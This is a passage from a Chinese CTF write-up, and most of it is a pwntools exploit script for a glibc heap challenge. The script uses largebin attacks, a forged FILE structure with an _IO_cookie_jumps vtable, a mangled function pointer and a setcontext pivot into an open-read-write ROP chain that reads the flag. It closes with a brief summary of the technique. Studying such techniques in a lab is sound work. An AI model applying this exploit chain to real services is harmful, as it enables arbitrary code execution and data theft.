setcontext_addr = libc_base + libc.sym["setcontext"]
stderr = libc_base + libc.sym["stderr"]
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base



#suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0 

edit(2,b'a'*0x10)
show(2)
#gdb.attach(io)
run()
io.recvuntil("a"*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0 
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard)

free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run()

free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)


#gdb.attach(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run()



flag = heap_base + 0x22a0 + 0x260

orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr)


orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr)


orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr)




gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key)

fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2  #_lock   _offset  _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00')

fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0


encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run()

add(9,0x4c0)
gdb.attach(io)
run()
io.interactive()

gdaget call rax

call setcontext +61

实现迁移

最终效果

总结:

我个人感觉这个威力还是不小的,但是打远程的话需要爆破tls地址这个比较麻烦,无论是house_of_kiwi还是house_of_emma都是利用了__malloc_assest,但是遗憾的是,这个函数在后来的libc中,不能处理IO了,最后甚至去掉了,但是在这之前的版本还是可以利用的。

最后这个题目的附件在NSSCTF平台上面有,有兴趣的师傅可以试一下。

The best way to predict the future is to create it.